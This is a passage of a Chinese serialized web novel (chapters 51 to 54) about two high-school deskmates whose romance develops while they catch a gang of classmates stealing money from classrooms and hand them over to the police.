“啧。”易承笑了声,也无心看题,玩笑:“同桌,会说好话吗?” “……”许桑没想到话题跳得这么快,顿了一下才回道:“不会。” “嗯。”易承偏头,蹭刮过他裸露的小臂,轻声:“以后,追人别用嘴。” “……” 被他发尖擦到,许桑抽回手,瞬间冷声:“做你的题。” 话落,他坐到床边,捞过毛巾,将发尾早已凝出的水珠擦拭干净。抬眸,就见易承搬着椅子转了个向,眉眼轻柔地望着自己。 他轻挑眉:“怎么?” “做腻了。”易承看了眼他的头发,起身,手指勾过毛巾,“我帮你擦。” “……”反对的意见根本来不及说出口。 许桑感受到毛巾脱离手心,看了眼身前的人,心道: 若换个场景,易承多半是那类“先斩后奏”、时不时得挨上一“参”的权臣。 易承手法娴熟,揉擦时,力道不轻不重,很舒服。 情不自禁地,许桑闭上眼。 “许桑。”易承垂眸看着他,心头有电流般的念头喷薄,手上的动作不由放慢了些,轻声:“真不跟家里人打个电话?” 许桑沉默着,睁眼,入目是易承衣上、位于胸口偏下的图案:一只棕色线条狗。 他懒得视线上移,把它当易承,回答:“不想。” 听到这个用词,易承敏感了一瞬,语气跟着柔和了很多:“听这语气积怨已久,怎么了?” 许桑抬手,将因为他动作而拉出褶皱的衣服展平,给线条狗捋直了脑袋,说道:“分我瓶酒。” “气泡酒。”易承看了他一眼,侧身拿过没开封的那瓶,给他拧开后,打趣道:“能吐真言吗?” “……”许桑没回答,仰头灌了一大口,趁着层次性的味道在口腔里绽放,迟疑了一秒。 他以为有些事是永远得烂在肚子里的。 却没想到,面对某些人,身处某些时刻,他会有想说的欲望。 易承换了条毛巾,压着力道擦他耳后的发,说道:“不想——” “许铭,在我母亲去世第二年再婚,‘买一送一’,还带了个孩子。”许桑咬着瓶口,趁着停顿喝了两口,又道:“他像颗墙头草,没能力处理两方关系,却自以为游刃有余。在自幻想的平衡里,瞎子一样,任由那孩子,越界、挑事。” 许铭,是……他爸? “所以,”易承手指缠着他偏长的碎发,按照他的语言系统,猜测性地出声:“成绩是给母亲的,劣迹是给许铭的?” “嗯。”许桑抬眸,食指轻轻给线条狗描边。 “啧。”易承眉眼弯出笑意,“我明白了。” “明白什么了?”许桑指尖不经意用力,透过薄薄的一层衣料,感受到了来自易承的温度。 易承身子微僵,说道:“没什么。” 家人……如果多些沟通、多些交流,说不定不会积少成多、成了久而久之的矛盾。但他没说,毕竟,他已没了谈“如果”的机会,也无法得证这是否充分必要。 更遑论去指点他人——尽管他希望,在可能的情况下,许桑能与家人和解。 他转而道:“遵循心意,也行。” 想着想着,易承轻皱眉,想压下烦杂心绪地,捞过酒瓶,给自己灌了几大口。 久久未言,陪着人喝完酒,易承看了眼时间,晚上十一点零三分,说道:“你睡里面。” 许桑起身将酒瓶扔垃圾桶里,坐回来时,在这事上挣扎了一下:“我睡外面。” “这么劲儿呢。”易承就着床沿坐下,“你睡里面。” 许桑轻挑眉,坚持:“我睡外面。” 在他的潜意识里,睡里面的总是被保护的一方,而他不需要。 易承笑了,解释道:“我起得早,难不成明早跨你出去?” “……”许桑轻顿,脱了鞋,向里端坐去。 见人乖乖躺下,易承又笑: 幼稚。 除了点面子,争半天什么也没争着。 灯光归暗,易承留了个光线很弱的小夜灯,将响铃的闹钟关掉,只留了手腕上的静音手环。 躺下,他将被子往上拉了些,闭眼。 不知过了多久,能听到身侧的人翻了个身,大概正对他而睡。 又不知过了多久,能感受到近乎均匀的呼吸声落在可感知范围内…… 易承死活睡不着,睁眼,侧过身,鼻尖差点怼人脸上。 他连带着闭紧了呼吸。 缓过来能正常呼吸时,他就着角落里卑微而昏暗的光线,细细给人的侧颜描边。 半晌后,他视线停留在许桑的唇间。 那一瞬间,他感觉,一堆鞭炮都炸不出他内心的动静……呼吸交缠,尺寸之内,空气升温,易承屏息,微抬头,向他凑近。 50-60 第51章 第51章 【“同桌。”】 毫厘之隔时, 耳畔,忽然传出连声的手机震动,间歇极短, 在空寂里,像极了一道叫魂的催命符! “……” 易承瞬间回神,腾地坐起身子。 偏头见许桑还未睁眼、单是皱起眉,心下一松。他伸手越过人, 眼疾手快地捞过内侧枕边亮着屏幕的手机。 “电话。”他哑声喊人。 “嗯?”接过,许桑刚想伸手按关机, 好在及时睁眼, 看清了来电人是“梁意杉”,轻顿:“抱歉。” “没事。” 反正也没睡着……易承别过眼,心头的猛烈半点没退却。 “许哥,许哥,还好没过零点。生日快乐,生日快乐, 一辈子快乐,永远快乐!”梁意杉在电话那头开单人party。 “……”许桑看了眼时间,“谢谢,挂了。” “等等等等!!”梁意杉差点被这声“挂了”吓出应激反应,嘴皮子都快擦冒火了地将人呵住:“许哥,你平时也不睡这么早啊?” “……”许桑看了眼易承,大概是怕扰到人睡觉,坐起来, 轻声说道:“让我。” “不是什么加密的话,说就行。”易承顺手立起枕头,偏眸看着他, 添了一句:“冷。” 许桑收回曲起的腿:“好。” “我靠?许哥,你身边有人啊?”梁意杉回味了一遍,“声音还挺好听。不过,你不是每次生日都住在酒店吗?今年十八,不……不——” 许桑听着这前后的衔接,果断打断了他的话:“有事?” “也没什么事,就说个生日快乐。”梁意杉应该在嗑薯片,牙齿崩得嘎嘎脆响,“还有,我听说你一诊第一的事了,虽然我们距离上山海相隔,没能一起考,但还是要说一句,帅炸了!” …… 抬眼看到书桌上立着的小时钟,看清时间“23:41”——许桑松了口气。 好在梁意杉没阴间作息挑凌晨两点半打电话。 听半天,实在没听出什么有价值的话题内容,他转到微信上,说了句“有事发消息”,便主动切断电话。 “朋友?”易承看向他,眉间压着股兴致被扰的燥意。 “是。” 想到明天周天,也没有什么紧迫性的事情,许桑索性开了免打扰,背顺着靠上墙,“就是嘈杂了些。” 是有些聒噪,易承心道。 面上,他轻笑了声,“之前学校的?” “嗯,一直同班。” 回答时,许桑伸手轻按颈侧:他酒量算不上好,但也定然不差。 没料到今晚,一瓶喝着玩的气泡酒,能喝得他脑热。沾床倒头就睡,比被别人两棍子敲晕了还睡得踏实。 “一直?”易承品着这个词,眉皱得深了一分。 “从初中起。”许桑附和着他的严谨。 “关系很好?” 易承看他时,即使光线偏淡,视线仍旧有些失控地黏在他唇上。注意到这一点,他继而反应过来自己问了什么,忙别开眼,清了一道嗓子,想撤回。 却不料许桑回答得很快:“还行,能算四分之一个题库。” 易承不解:“题库?” “嗯,青中日常出卷多,题的质量高。”许桑难得耐心,“我一般找他要题……时间不早了,睡吧?” 易承应声,打横枕头:“好。” 躺下,他主动朝向书桌而眠。 许桑则没急着倒回被子里。 方才接电话时,脑子被吵清醒了,睡意散了个干净。 等了两分钟没酝酿出睡劲,他手指探到枕边,摸出手机,调出题库。点开早前归入“催眠”档的题型,做了几道才躺下- 杨越熟路,闭着眼都能开出二里地。 他把着方向盘,眼睛却黏在易承身上。岁月不饶人,年近半百的他,总算是有了年轻人叫嚷着“好久不见,甚是想念”的情绪,结果这小子上来就是连轴哈欠炮轰! 他登时转为瞪人:“昨晚偷牛去了,困成这样?” “嗯。”易承困得眼睛都睁不开,扒着安全带,头枕靠在车窗处,也没管什么安不安全礼不礼仪,声音飘着:“杨叔,到了叫我。” “你,”杨越多看了他几眼,“这是一晚上没睡啊!” “嗯。”应完,易承随同意识往沉处倾倒。 杨越小声嘀咕:“这是在搞什么……” 等把货运到“一个水果店”,易承才总算精神过来。捯饬完清货摆货的一大堆子事,他伸懒腰,正靠着柜台准备睁着眼小憩,就见戚姨踏了只脚进门。 他站直,喊人:“戚姨。” “承小子!”戚英提着袋热乎乎的馒头,“有多久没见了,想姨没?先来尝口馒头,回个味儿!” “好。”易承擦干净手,从袋子里捞了个软白的馒头。塞嘴里,咽下一口后,眼里弯出笑意:“一如既往的好吃!” “那是自然。”戚英照旧把吃食放柜台上,见杨越在外头瞎忙活,拍拍凳子坐下来,“承小子,最近如何啊?” “挺好。” “好个屁。”戚英将人看了几眼,“人都瘦了,最近累坏了吧?” 易承笑笑不说话,手顺着从袋子里摸了块馒头,塞嘴里,慢吞吞嚼着。 “害,瞧我这,大清早的!”戚英见状,转了话题,“你家秋秋呢?这个点儿了,不接来吃早饭?” “哦——”说到秋秋,被睡意夺了神智的易承,这才想起家里还有两个人。 他一骨碌咽了馒头,正想往家里打个电话,裤兜里的手机就响铃了。他轻挑眉,看了眼备注,勾唇笑道:“早安。” 许桑“嗯”了一声,“秋秋找你。” “大概率是饿了。”易承估摸着时间,平时差不多都接人来店里啃食早点了。他轻顿,“能拜托你把人带到水果店吗?” 许桑手机放在一旁的,穿上随手带来的校服外套后,回应:“好。” 戚英在旁看着闲趣儿,本来每天问秋秋早问秋秋好的,话题单一,她没想多嘴问的。 但今儿个看易承那笑容,甜得蜜蜂来了高低都得叮两口,没忍住好奇打电话的是谁:“家里来人了?” “同——”易承中途转了话术,“朋友。” “新朋友?”戚英听出些语气里的不同来,朝人挨近了些,打听,“承小子,莫不是谈恋爱了?” “……”易承迅速回绝:“戚姨,你想多了。” “反应这么大?”戚英笑得像收了一箩筐的八卦头条,满载而归喜上眉梢,她一副什么都懂的表情:“多半有情况。” “不过你都这么大人了,动心也正常,又不是敲木鱼的和尚,偶尔得开荤——” 再听就没有尽头了,易承紧急避险,借扶着腰进来的杨越当幌子,“杨叔,我帮你抬箱子!” “嘿哟,还害羞了。”戚英摇摇头,从板凳上站起来,笑哈哈地吆喝:“你们先忙着,我去前头买点豆浆油条,免得人来了没吃的。”- 近中午时,易承坐到躺椅里,把刚顺过来的校服摊开,蒙着脸补觉。 店里中午人流极少,金光闪闪却温度近无的阳光落至店内,只给人一种精神上的温暖。 戚英用牙齿暴力剔着甘蔗,往塑料口袋里吐残渣时,有意无意、隔两秒就去瞟许桑。 “哎哟……”她滋滋两声,咀着汁水,往前,半个身子的重量都压在二郎腿的支点处,心里直犯嘀咕:承小子的新朋友,看着聪明,长相也标致,就是话少了点。 得诈一诈。 想着,她一口啐了甘蔗渣,一手提溜着木板凳、欠身两脚小碎布前迈地挪到他身边,喊道:“小帅哥。” 许桑正看着题,听到声音时,眼前这人姿势壮硕得都快骑他身上了。 他微愣,记得易承跟他介绍过,喊人:“戚姨。” “诶!”戚英笑呵呵地上前,之前每中午都是她守店,两个男人,一大一小,一个睡里面一个睡家里……半天不说话都憋得慌,她连忙问道:“你是承小子新交的朋友?” 许桑暗暗往后退了小步,按灭手机屏幕,“嗯。” “还真是少见。”戚英越看越满意,见他一件普通黑色卫衣都穿出定制款的气质,忙追着捧:“你这气质,别致,不像南城能出的人!你跟承小子同校还是同班啊?” 许桑指尖轻擦着手机一侧,“同桌。” “那感情好啊!”戚英挺直了背,“承小子,我看着长大的!他光屁股到处跑的时候,我还抱过呢。” “……”许桑顿了毫秒,怕话题烈马脱缰,试图主导话题走向,“易承——” 话才开了头,戚英就截胡了。 “承小子啊,我了解。”她努嘴,“他是个顶好的孩子。手脚麻利,从小就能干;脑子聪明,嘛事一教就会。” 许桑抬眼,兴趣忽地被提起了些,他安静听着。 “要不是出了些变故,说不定是咱南城最厉害的年轻人。”她惋惜了一瞬,又继而高扬:“我和你杨叔都觉得,承小子很有生意头脑……给你讲件很有意思的事儿。” 许桑听得认真:“嗯。” “承小子的第一桶金,顶我和老杨守废品店一年赚的钱。”戚英说得得意,好似口中的“小子”就是自己的儿子,“……出了朝昏区,咱南城还是有片有钱人的,当时,承小子总爱在饭店里转悠。我当时还纳闷,平时不贪吃一孩子啊,怎么尽往饭店钻。” “哪知后来,他同老板谈妥了,每天放学专门去收人家不要的鸡屁股,哈哈,没错,就是鸡屁股,也没人吃,所以一两块钱每次收十几斤……后来他又去那种肉店,你知道每次绞肉,都有些肉沫子,他混熟了后,也把那些收了回来。是不是前前后后有些迷惑?” 忽然被出了道题,许桑默了一秒,思考后回道:“还好。是要简单加工再售?” “嘿哟!”戚英啪地拍了一掌,“你这脑瓜子怎么这么聪明!承小子整完这些,不知道当时跟谁一起弄的,反正做成了那种狗零食。卖出去,那利润高的啊……我和老杨,废品店都能开倒闭的人,要不是有他,这水果店八成也得倒,哈哈哈……” 许桑听着听着,脑中泛起小几岁的易承模样。 他轻挑眉,笑着,忽而就见易承不知何时走了出来,长腿一前一后交错着倚门。 此时正望着他,歪头笑。 第52章 第52章 【“你没心没肺,有屁的感受…… “戚姨, 这是说我什么坏话呢。”易承朝许桑轻抬下巴,而后步调轻快地走过来,蹭着他的板凳一端, 坐下。 “说你能干呢。”戚英又啃起甘蔗来,笑,“这不,让你朋友多了解了解你。” “那谢谢姨。”易承笑着, 将臂间搭着的校服展开,披到了许桑身上, 撤手时耳语:“衣服好香。” “……”许桑暗暗给了他一脚- 按学校要求, 周天晚上的晚自习为收假时间——没有理由,说是学校领导出去逛了逛市重点中学,被燃到了。 然后就全面复制粘贴,美其名曰:“虚心学习、逐一效仿。” “去吧,去吧,店我和你杨叔来收。”戚英抓着一把顺来的葱, 抬手扫了扫,“好好学习,天天向上!” “辛苦戚姨!”易承站原地痞里痞气敬了个礼,便转身同许桑往学校里走- “好陌生啊,第一次看到星期七、下午十八点三十七分二十七,不,二十九秒的南城附中理一班教室!跟特么末世星期八一样恐怖!” “原来在市重点中学上课是这个亚子,开眼了我。” “不是我就想不通了, 这不就是没有重点高中命,一身重点高中病吗?” “作业做没?哪个亲亲宝贝借我抄一下呀!” …… 到理一班教室时,喧闹声中, 吕丁扭头,正想跟许桑说些什么,就见他易哥跟着许桑神同步地坐下,不知道聊了什么,上扬的嘴角还没压下去。 “!”他一惊:“易哥,你俩一起来的?” 易承把板凳往后挪了些,反问:“不然?” “还挺吓人。”吕丁拍拍胸脯,“我以为许哥迟到了……有种坏学生把好学生带偏了的感觉!” 易承皱了下眉,回骂:“你没心没肺,有屁的感受。” “……害。”吕丁说不过他,转而笑吟吟地去寻许桑,“许哥,你数学卷子借我抄抄呗?” 许桑淡淡回复:“没带。” 他周末只回家坐了几分钟,其余时间都跟易承混在一起。甭提作不作业,书包丢哪的都忘了。 纯·空手而来。 “?”吕丁不可思议地伸长脖子,“呜呜……许哥,这话说的,你现在是跟易哥一个阵营的吗?” 没等许桑回复,易承打了个响指,笑说:“那自然,我同桌。” 许桑看了他一眼,懒得反驳。 “……”看着这二俩眉来眼去,吕丁默默撤回了眼,刚转身,就见赵鸿途眉都皱成苦行僧了,好奇问道:“鸿途,你不会也忘带作业了吧?” “人忘了也不能忘作业啊。”赵鸿途脱口而出一句口头禅。 说完,就把眼镜摘下来,还捋了把头发,而后直接把整个脑袋都探进桌肚。 乱拱。 “!”吕丁连惊,“我操啊,你干嘛?别他妈想不开啊!” 他这一嗓子,十里八乡的人都往这边看来。 赵鸿途匆匆扯出头,在众目睽睽之下,结巴了:“我,我奖学金丢,丢了……” “丢钱了?”吕丁愣了一下,“你再找找?” “找十多分钟了。”赵鸿途委屈地把已经搬空的桌肚转向吕丁,“钱袋子都没找到。” “啊?”陈慢才来,放下书包就走上讲台,问:“有哪位同学看到赵鸿途的奖学金了吗?” 他这话一落,教室里的人你看我我看你谁也不知道在看嘛。半分钟后,有人举起手。 陈慢和赵鸿途同时眼前一亮。 下一秒,那同学说:“陈班,我的好像也不见了,虽然只有50块!” “……”两人沉默。 “诶?我二班的朋友说,他班那个第一,周六光顾着回家了,忘把钱拿回去,好像也没找着?” “嗯?蟑螂还喜欢钱?” “进贼了,不是吧?” “是的,同学们,咱学校真进贼了。”徐富往讲台上一站,就是一条死活合不了规矩的兵!他忧心忡忡地看向最后一排,“许桑,你的钱还在吗?” 许桑越过突击一样层层叠叠落他身上的几十道视线,回答:“在。” “哎哟,那就好!”徐富一拍胸脯,“我刚从其他班逛过来,说是丢几十丢几百丢上千的都有,真的是,太猖狂了!” “我靠,有点刺激啊,兄弟们!” “我你妈的,上周我爸偷偷给了我两百,没舍得用,屯在书里的。结果一脚进校,天塌了啊!我一块钱都舍不得用,他怎么敢的啊!” “保安是空气吗?那么多班都被翻空了,居然没反应!” “不查监控吗?我,我虽然只丢了两块钱,但蚊子腿它也是肉啊……” “监控查过了,但是晚上太黑了,拍到的人也是一坨黑黢黢的。”徐富也是一阵惋惜,叹着没完没了: 鬼知道他藏数学书里的私房钱、落讲台上、被黑手摸了! 他情难自已,“第一次周六放假,就没让住校生上自习,这也没个见证,估计也追不回来了,唉。” 底下又是一翻吵吵: “监控查不到,能躲死角,是个惯犯吧。” “就说吧,秀恩爱死得快,秀奖学金丢得快。” “第一,知道学校监控死角;第二,能精准摸到高三所在的教学楼;第三,小到书里,大到书包,摸得细致,说明知道学生藏钱习惯……能这么熟悉咱们学校和人的,莫不是熟人办案?” “是不是学长学姐们的就业环境太艰难?发信号让我们救济呢?” …… 吕丁皱眉,点评:“这就是所谓的优秀毕业生返校捐款吗?还是他妈反向的?” “我昨天怎么就忘了把钱拿回去啊!”赵鸿途揪着掉得差不多的头发,懊恼:“真的是,记性越来越差了,烦死了。” “没事,鸿途。”吕丁伸手去拍他的肩膀,安慰:“旧的不去,新的不来!舍不得孩子套不着狼!天涯何处无芳草,下一个更好!” “……”赵鸿途推开他的手,“你还是闭嘴吧。” “行了,行了。”徐富坐上面,看他们分析得头头是道,听得津津有味。但毕竟有班主任的架子在,他咳了一声,引回学习的正题:“平时学习也没见你们这么积极。” 经典话术一来,畅聊便也只能经历“便秘”难关。 “钱呢,多半是追不回来了。就当吃一堑长一智吧,下次得了奖拿了钱,先收好。看看人家许桑同学,安全意识非常强,在这种情况下,钱都没丢。” “……”许桑勾题的手轻顿。 这语气,谁居心不良一点,他八成得成知情人往局子走一遭。 “学校在尽力调查了,在此期间呢,不要在网上发表任何相关言论,要有学校荣誉感。”徐富看着上课时间已到,飞快收尾:“记清楚了啊,不要在外面乱说。” 说完,他把曹武吆了进来,笑脸:“曹老师,快来讲课!” “这,深表惋惜啊。”曹武显然已经听完“新闻”了,边调ppt边怅惋,“不过学校有学校的难处,就算人逮到了,钱也不一定能追回来……” “这就是社会啊,同学们。”他生怕压不住同学的说话欲望似的,ppt垂直划到底,点开一道压轴题镇场子,“高考完你们即将步入的社会,提前适应适应挺好——闭嘴,收,来看题!” 压轴题不愧是压轴题,舆论压得死死的。几十张嘴巴,愣是一声抱怨都没发出。 许桑转了圈笔,在“赋值”这一步停顿了两秒,看向黑板,将题扫完,他没什么兴趣地低头。 “同桌,我钱丢了。” 关我屁事……话头下意识要出口,被许桑按住了,他扫了易承一眼,淡声:“多少?” “两毛。”易承回答得很认真。 许桑随口:“有病。” “不,认真的。”易承向他凑了凑,“那贼偷了我两颗糖。” “……”许桑思绪被蓦地带回了初次见面。 ——“这是什么?” ——“糖。” ——“诚意就值一毛啊?” 许桑将答案写上卷子,落笔:“所以?” “所以,有兴趣跟我抓个贼吗?”易承发出诚挚的邀请。 “没兴趣。”许桑跳到下一题- “来这做什么?”许桑立在操场的围墙边,看易承被夜色笼黑的背影在草丛里游离,不解。 “找个缺口。”易承答了一声。 “狗洞?” 易承脚步顿住,走回来,“你怎么知道?” “邓什么提过。”许桑想起那人来热心地给他指“后门在哪”,说得比导航还挺细致。想着想着,他问道:“觉得是他?” 闻声,易承轻挑眉:“反应挺快。” “为什么?” 易承朝他示完意,便走上前用腿拨开深而密的草丛,露出能容下半人的洞口,有所动作前,说道:“等找到证据,我再告诉你。” “好。”许桑调出手机手电筒,随他看去。 雨最近是没下的,但昼夜温差的魅力还是不减,加之草深露重,狗洞外几步之内的脚印不全但明显。 看清后,许桑轻皱眉:“上次遇到的那伙人?” “嗯。”易承伸手,轻扶住他肩,笑道:“跟我去个地方?” 肯定的过分了……许桑对此存疑,好奇道:“进贼窝?” “敢吗?”易承偏头看人。 自从来了附中,许桑发现自己挑事的时刻屈指可数,此时被他这语气一刺,当即就咬了钩,他冷声:“走。” 第53章 第53章 【“我喜欢你——”】…… 无名巷延伸很长, 却无奈是条死胡同,尾端连着一堵吃饱了撑着的人建的墙,墙边, 立着棵有些年代的枇杷树。 就这个季节这个温度来看,也只余下硬挺挺的叶,毫无美感地挺着。 “茂光哥,你说, 我们真的不会被抓到吗?我放学的时候,从校门口走到校外小吃街, 感觉全是骂我们的, 那些骂词,骂的是真脏啊!” “我也是,但凡被抓到,我感觉自己光被骂、都能被骂词淹死了。” “这不是主要的,最关键的是,上次易哥, 不,易承不是追到过这吗?他这次会不会也追过来把我们一锅端了啊?我还真有点怕他。” 邓茂光光屁股坐地上,手指间夹着根烟,正吞云吐雾呢,听到易承的名字,顿时来气,“都他妈一年前的事儿了,他记性有那么好?早忘了。数你们的钱, 废话真他娘的多!” “好的,茂光哥。” 摸来顺来的钱,杂七杂八一大堆, 塞了四五个书包。 刚好人够多,分工明确:数块块子的数一块,五块的十块的二十块的……依此类推。 百元钞最先完成任务,翻书包时摸出两颗糖,愣了一下,“怎么还顺两颗糖?” “看着挺好吃,就拿了。”五十元抿了下手指,又继续数,“关键是就摆桌上的,不拿白不拿。” “果然没什么志向,换我都顺套卷子。”百万钞把糖纸剥开,嘴上嫌弃但吃得麻溜,“不过这糖好吃,像小时候的味道。” “还给你们聊上了!”邓茂光伸脚踹了下百元钞,“数完没?大晚上怪冷的,早数完老子好早回家。” “马上马上!”一元兄弟看着成摊的一元钱,顿感压力山大,只得硬着头皮应下。 墙上,易承无聊地偏过视线,看向许桑搭在墙沿上的手,看了良久,他伸出食指,轻轻敲了下他的手背。 许桑侧眸,看了他一眼,见他纯粹闲得发慌,便又偏过来,继续向下盯着墙角里堆堆坐的人,目光有些冷。 虽不知道为何易承能如此精准地锁定这个小偷据点,但真切地看到分赃现场,还挺让人生厌的。 底下的人,时不时会惊呼一句,不是发现顺了个游戏机,就是莫名发现些写满八卦的小纸条,哦,还有摸到神似□□时三番五次地纠结确定。 易承听腻了,集中注意力看着指腹下的手背。 天有些凉,附了些冷意在他手上,白皙之中,关节处添着薄薄几团红。手背上,未明显用力都经络分明,骨感十足。 易承微挑眉,目光追着他中指与无名指间的小痣,偏了下头。 明白看到后,他忽地生了些心思,轻缠上他的手指,向下,反着面地将手指卡进他指缝间。 迟疑一秒后,用力,手指向下弯、直待指尖贴上他手背,形成一个对方尚没配合的十指相扣。 察觉到动静,许桑看过来,看了两秒,思考后以为他是等得无聊想跟自己比手劲,压着声音问了句,“掰手腕?” “嗯?”易承反应了一下,才从手指间上移看向他,闻声没忍住笑了下,而后认下了这个八竿子打不着的提议,“来。” “来个屁。”许桑看着顶多一条半手长的墙沿距。 墙面本就不宽,能藏身全赖于枇杷树繁复的枝丫和暂时没冷死的硬叶。 真掰起手腕,是比谁先把对方掀下去吗? 易承跟着看了眼墙面,明白过来,笑道:“下次吧。” 等了不知多久,五元兄弟艰难完成使命,一元兄弟还在支楞着。 百元钞则是把几个空包翻了一遍又一遍,从缝隙里摸出个果核,嫌弃地咂嘴:“咦,谁这么不讲卫生?” 邓茂光抽完三根烟,见一元兄弟已是面红耳赤,吩咐道:“你帮他数数,再数下去,天都亮了。” “好的,茂光哥。”百万钞扔了果核,坐过去。 手握在一起,互相染上对方的体温后,易承舍不得松开了。 他偏着头,目光就单单缠着那颗小痣,隔了几秒后,他开口:“我喜欢你——” “哎哟我操!”一元兄弟忽然嚎了一声,“刚数多少我给忘了!” 不像好人的一伙人逮着他就是一顿白眼翻,而后邓茂光一把抓过他手里厚厚一沓钱,叼着烟皱眉:“傻逼。” 待周遭归于平静,易承才一字一蹦地把没说完的话补全:“手指内侧的痣。” 与此同时,回忆起自己断句的他,胸腔内的心跳骤地加速,跟特么吃了兴奋剂一样。 他有些做贼心虚地偷瞄了眼许桑的表情。 不过貌似后者并未注意到,只是轻挑眉,看了眼自己的手,疑惑:“哪?” “……”易承消停下来,抽出有些酸的手,抬了抬下巴,“你没注意过?” “没那么闲。”许桑翻过手,看着被握得有些泛红的手,目光触及那颗隐秘到可以去当间谍的小痣,抿唇,“尤其没你这么闲。” 易承抬了抬眉毛:“谬赞了。” “好了,完了!”邓茂光把数报出来,“谁计算器摸出来算一下总数?” “我来。”二十元摸出手机,“你们报数!” 一圈走下来,他输入最后的1100,而后报出了最后的结果,“还行,3117。” “就这么点儿?”邓茂光把燃到底的烟扔了,顺便把自己的包捞过来,“先装上。昨儿个太晚没清,拖到今天有点晚了,搞快点……钱我明天再跟你们分。” 等一捆捆钱进了书包,他拉上拉链,正要挺起来,坐得发麻的腿又给他麻回去了,他往下一栽,瞬间皱起眉,往地上啐了大口口水:“有点眼力见吧兄弟们,扶我起来!” “哦哦哦哦哦。”一元五元二十元尽数上前搭手- “人还没来?”易承记得许桑早先就报了警,这都半个小时多了还不见来,估计地方难走迷路了。 “先拦着。”许桑活动了下手腕,眉眼间裹上厉劲,大有要一挑十的气势。 “帅啊。”易承附他耳叹了句,也跟着坐直了身子,将热意褪去稍有些冷僵的手翻转了下。 等前脚邓茂光被提溜着双手拉起来站直,后脚许桑易承就一先一后地翻下墙,贴着臂膀堵在了巷中。 长腿分开与肩同宽,在浅薄的月光照应下,投射出长长两道身影。 邓茂光惊得又一屁股坐回地上,顺便还把瘦弱不堪的一元兄弟带得栽了一跤。 “你们怎么知道这?”百元钞退到邓茂光身后,顺便把他扶起来。 “记性好。”易承回答。 回想起刚听到的叽喳交谈,许桑偏头看了他一眼,心疑:一年前怎么了? “你!”邓茂光下意识攥紧了书包带子,向前瞪眼睛:“我们什么事都没干,你堵这是犯法的!” “……”易承挑眉,“是吗?” “那必须是啊!”百元钞挺直了腰板,“自己上网查查法条不就知道了?什么交通法道路法安全法,井底之蛙。” “还不快让我们?”邓茂光目光闪躲地看着易承,但想到身后一大帮兄弟呢,他便往旁边绕了两步,正要大踏步直走,就见许桑挪步堵住了他。 他顿住,想到上次受的皮肉之苦,连忙开口:“许哥,我不是跟你道过歉了吗?咱现在是一条道上的,不是吗?” 百元钞疑惑地伸脖子,像一元兄弟延伸询问:怎么个喊哥了? 一元兄弟摇摇头,一副不知情的模样。 “道歉?”许桑眉眼疏冷,站在原地纹丝不动,“我不知道。” “怎么会呢?我当你们理一班全班同学道的谦,连你们那老徐都在。那么大排面,其他人还没有过的待遇呢!”邓茂光僵硬着并不职业的假笑,“许哥,你不能跟易承坐了同桌就被他牵着走,我们才是正道的光!” 他话刚落,一道由点到面的强光倾射而来——直刺刺地对着眼睛就来,引起嚎叫一片。 约莫一个小时过后,不算宽敞但满是正义的派出所里,有些吵吵。 “嘿,知道这是哪儿了就把嘴闭上,把我们空气熏臭了要赔偿的。”正装加身、带着个黑框眼镜的女人没什么好脸色地扫了眼窝着一堆挤热和的人,见多不怪却厌恶不减。 “好的。”百元钞一掌拍在二十元、一元脑袋上,转头:“安静。” 人还没来齐: 许桑说明情况时,人数报对了,但无奈没那么多车,就只看顺眼程度随车拉了两个,剩下的走过来。 坐在长靠背的竹制椅子上,易承用手背掩着打了个哈欠,偏头,很轻地靠在许桑肩头。 “明天要早起?”许桑看着他的头顶,轻声问道。 “嗯。”易承用鼻音应了声,见对面人迟迟没到齐,直接闭上了眼睛。嗅着近在咫尺的淡香,身心逐渐放松。 许桑心下一紧,抬眸时眼神转冷,对对面坐着的一排人更生嫌恶了。 “人终于齐了。”黑框眼镜抬头,她身后站着的人便得令似的将书包翻开,露出里面叠叠摞摞的钱,向那坨人问道:“钱哪儿来的?” “我爸给的。”邓茂光硬着头皮答。 “你爸马上就来。”黑框眼镜皱眉,“再问一遍,钱哪来的?” “我们爸给的。”百元钞替他答道。 “……”黑框眼镜不耐烦地重复:“你们爸都要来。” “那——”邓茂光正要说话,忽地被许桑打断,他被迫停下,看着许桑看向黑框眼镜平静开口,“偷的,麻烦不要浪费时间。” 黑框眼镜看向他,被他的眼神看得愣了一下。 没想到一群孩子里能有人这么有气场,回想起自己刚刚愚蠢的问话,她点头:“行。” “谢谢。”许桑轻声。 话落,他身子微僵,没偏头,只知道易承微倾、脑袋滑到了他肩颈处,带着热气的呼吸扑落在皮肤上,激起些痒意。 第54章 第54章 【“嗯,有你。”】…… …… “结合视频、录音等证据, 事情我们大致调查清楚了。钱暂时放在我这,等待之后的处理。”黑框眼镜将书包里的“赃款”逐一取出,而后问道:“你几个, 都南城附中的,是吧?” 邓茂光领头苦涩作答:“是。” “不是。”同时,百元钞迅速回应:“我们九中的。” “都隔一座城了还能混到一起也是牛逼。”负责轻点钱数的人嘟囔一句。 “那当然是牛逼的。”百元钞选择性空耳,听到尾词还乐呵了两秒, “多谢警察叔叔夸奖。” “夸你个大头鬼啊。”黑框眼镜翻了个白眼,见问话跟没问一样, 催促性地问了一句, “这些家长还没来?” 点钱的被打断了,不悦地皱眉,重数:“能养出这种儿子,大半夜睡死了也正常。” 屋内空调间歇送出暖气,熏得睡意零星的人愈发着困。 一大群人先后涌进门内,音量完全不收敛, 问着“嘛事?”“我儿怎么了?”“这是发生了什么?”的时候,易承轻皱眉头,睁开了眼。 “还没完呢?”他懒得动,就这么靠着许桑说话。 “没。”许桑扫过乌泱泱的一众家长,此时跟突召领尸一样要哭不哭的,补叹了句:“事多。” “是挺多的。”易承低眸,懒洋洋地,在如棉花般松软的睡意包裹里, 伸手捏住了许桑随意搭在大腿上的手,“上次来,更麻烦。” 许桑轻声:“上次?” “嗯。”易承勾着他细长的无名指, 没轻没重地按了下那颗小痣,没犹疑地开口:“我从杨叔那领钱,三月一结。结果第一结,不知为何被邓茂光盯上偷了。也是在那条巷子……当时救命用的钱,哪知在这呆一晚上,愣是没追回,因为没证据。” 许桑眼睫轻颤,看着他愣定住的手,握了上去,慰道:“放心,今晚有。” 易承像个没事人一样,还笑了声:“嗯,有你。” 身份证一并递交,黑框眼镜登记得眼花缭乱,上册之后,将这一众犯事的同学连同家长叫到旁边,教育道: “偷窃,性质非常恶劣。念在你们还未成年,我只做个思想教育,要是还有下次,可是要进来蹲个十天半月的……家长也是,子不教父之过……我会跟学校通知到位,到时候写检讨还是记过,看学校的意思了。” 